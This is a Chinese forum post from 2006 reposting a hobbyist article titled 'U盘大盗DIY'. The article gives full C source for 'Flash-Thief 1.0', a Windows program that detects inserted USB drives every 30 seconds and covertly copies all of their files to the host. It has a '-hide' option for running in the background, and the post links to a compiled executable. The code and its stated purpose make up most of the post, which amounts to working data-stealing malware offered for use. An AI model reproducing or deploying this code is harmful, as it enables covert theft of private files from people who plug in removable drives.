|
|
发表于 2006-7-11 19:03:56
|
显示全部楼层
< >下面是VC的:</P>
< >转自<a href="https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=55182&p=250053" target="_blank" >https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=55182&p=250053</A></P>
< >U盘大盗DIY</P>
<P>Make Trojan 13:02:04<BR>U盘大盗DIY<BR>作者:lake2 来源:lake2的专栏 发布时间:2005-9-30 8:10:01 发布人:noangel<BR><BR>减小字体 增大字体<BR><BR>【收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao】<BR>看某期《黑客防线》上有介绍编写“U盘小偷”这个盗取U盘内所有文件的程序的文章,反正也没事做,自己也写了一个。文中是用VC++加MFC写的,我用C、API来写,而且名字叫“U盘大盗”,不然怎么会叫DIY呢^_^<BR>原理很简单,就是每隔一段时间探测驱动器,发现可移动盘就把里面的内容copy到机器上。几下子就搞定。代码如下,有关函数的可参考MSDN、CSDN搜索(还多亏了它呢)。<BR>#include "windows.h"<BR>#include "stdio.h"<BR>#include "string.h"<BR>#include "direct.h"<BR>char dir[260];<BR>/*<BR>看好啦,偷东西咯~<BR>*/<BR>void Copy( char* FileName )<BR><BR>{<BR><BR> char dir2[260];<BR> strcpy( dir2 , dir );<BR><BR> //从全路径提取出文件名<BR><BR> char* temp = strchr(FileName,'\\');<BR> temp++;<BR><BR> strcat(dir2 , temp );<BR><BR> CopyFile( FileName , dir2 , 1 );<BR>}<BR><BR>void CreateDir( char * path )<BR><BR>{<BR><BR> char temp2[260];strcpy( temp2 , dir );<BR><BR> char* temp = strchr( path , '\\');<BR><BR> temp++;<BR><BR> strcat(temp2 , temp );<BR><BR> mkdir( temp2 );<BR>}<BR><BR>/*<BR><BR>这个函数就是遍历目录得到文件<BR><BR>*/<BR><BR>void GetFile( char* FilePath )<BR><BR>{<BR><BR> char temp[260],temp1[260];<BR><BR> strcpy( temp ,FilePath );<BR><BR> WIN32_FIND_DATA FindFileData;<BR><BR> HANDLE hFind;<BR><BR> strcat( temp , "*");<BR><BR> //printf("%s",temp);<BR><BR> hFind = FindFirstFile( temp , &FindFileData );<BR> //printf("%s\n",FindFileData.cFileName );<BR><BR> if ( hFind == INVALID_HANDLE_VALUE )<BR><BR> {<BR><BR> //printf ("Invalid File Handle. GetLastError reports %d\n", GetLastError ());<BR><BR> //exit(0);<BR><BR> }<BR><BR> else<BR><BR> { <BR><BR> //printf("%s",temp1); <BR><BR> do<BR><BR> {<BR><BR> strcpy( temp1 , FilePath );<BR><BR> strcat( temp1 , FindFileData.cFileName );<BR><BR> if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)<BR><BR> {<BR><BR> if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )<BR><BR> {<BR><BR> strcat( temp1 , "\\" );<BR><BR> CreateDir( temp1 );<BR><BR> GetFile( temp1 );<BR><BR> }<BR><BR> else<BR><BR> {<BR><BR> //printf("%s\n",temp1 );<BR><BR> Copy( temp1 );<BR><BR> } <BR><BR> }<BR><BR> }while( FindNextFile( hFind,&FindFileData ) );<BR><BR> }<BR><BR> FindClose(hFind);<BR>} <BR><BR>/*<BR><BR>这个函数检测是否为可移动磁盘<BR><BR>*/<BR><BR>int CheckDisk(char *disk)<BR><BR>{<BR><BR> if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;<BR><BR> return -1;<BR>}<BR><BR>int Steal()<BR><BR>{<BR><BR> char buf[10];<BR><BR> DWORD lod=GetLogicalDrives();<BR><BR>/*<BR><BR>GetLogicalDrives 返回的是一个32位整数,将他转换成二进制后,最高位表示驱动器A: 依次类推<BR><BR>比如,10111000000000000000000000000000<BR><BR>表示这台机器有驱动器 a,c,d,e<BR><BR>*/<BR><BR> if (lod!=0)<BR><BR> {<BR><BR> for (int i=0;i<26;i++)<BR><BR> {<BR><BR> if ((lod & 1)==1)<BR><BR> {<BR><BR> sprintf(buf,"%c",'A'+i);<BR><BR> strcat(buf,":\\");<BR><BR> if(!CheckDisk(buf))<BR><BR> {<BR><BR> //现在判断驱动是否准备就绪~<BR><BR> if(GetVolumeInformation(buf,0,0,0,0,0,0,0))<BR><BR> {<BR><BR> <BR><BR> GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<BR><BR> //GetFile("j:\\a\\");<BR><BR> }<BR><BR> <BR><BR> }<BR><BR> }<BR><BR> lod=lod>>1;<BR><BR> }<BR><BR>}<BR><BR> return 0;<BR><BR>}<BR><BR><BR><BR><BR><BR>int main(int argc, char* argv[])<BR><BR>{<BR><BR> SYSTEMTIME st;<BR><BR> char dtime[20],temp[10];<BR><BR> GetLocalTime( &st );<BR><BR> itoa( st.wYear ,temp , 10 );<BR><BR> strcpy( dtime , temp );<BR><BR> itoa( st.wMonth ,temp , 10 );<BR><BR> strcat( dtime , temp );<BR><BR> itoa( st.wDay ,temp , 10 );<BR><BR> strcat( dtime , temp );<BR><BR> mkdir( dtime );<BR><BR> getcwd( dir , 260 );<BR><BR> strcat( dir , "\\");<BR><BR> strcat( dir , dtime );<BR><BR> strcat( dir , "\\" );<BR><BR> if(argc!=2)<BR><BR> {<BR><BR> printf("\n Flash-Thief 1.0 by lake2 ( <a href="http://lake2.126.com/" target="_blank" ><FONT color=#436976>http://lake2.126.com</FONT></A> ) \n");<BR><BR> printf("Date: \t2005-5-28\n");<BR><BR> printf("You can quit this program with Ctrl + C \nand you can run it in hide mode with \'-hide\' \n");<BR><BR> printf("It's nothing with me whatever you do ! \n");<BR><BR> printf("Running.......\n");<BR><BR> while(1)<BR><BR> {<BR><BR> Steal();<BR><BR> Sleep(30000);<BR><BR> }<BR><BR> }<BR><BR> else<BR><BR> {<BR><BR> if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! \n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}<BR><BR> else<BR><BR> printf("Parameter %s is invalid",argv[1]);<BR><BR> }<BR><BR> return 0;<BR><BR>}<BR>程序是命令行下的,加参数“-hide”可以后台运行;运行后会在当前目录生成当前日期的文件夹,盗取的东东都放在里面。程序有个小问题,就是当可移动设备是个移动硬盘的时候,呵呵,恐怕你的硬盘要很大才行哦。这个问题不想改了。<BR>VS.net + XP SP1 编译通过,编译好的程序这里可以下<a href="http://www.0x54.org/lake2/program/flash-thief.exe" target="_blank" ><FONT color=#436976>http://www.0x54.org/lake2/program/flash-thief.exe</FONT></A> <!--Signature--><BR></P> |
|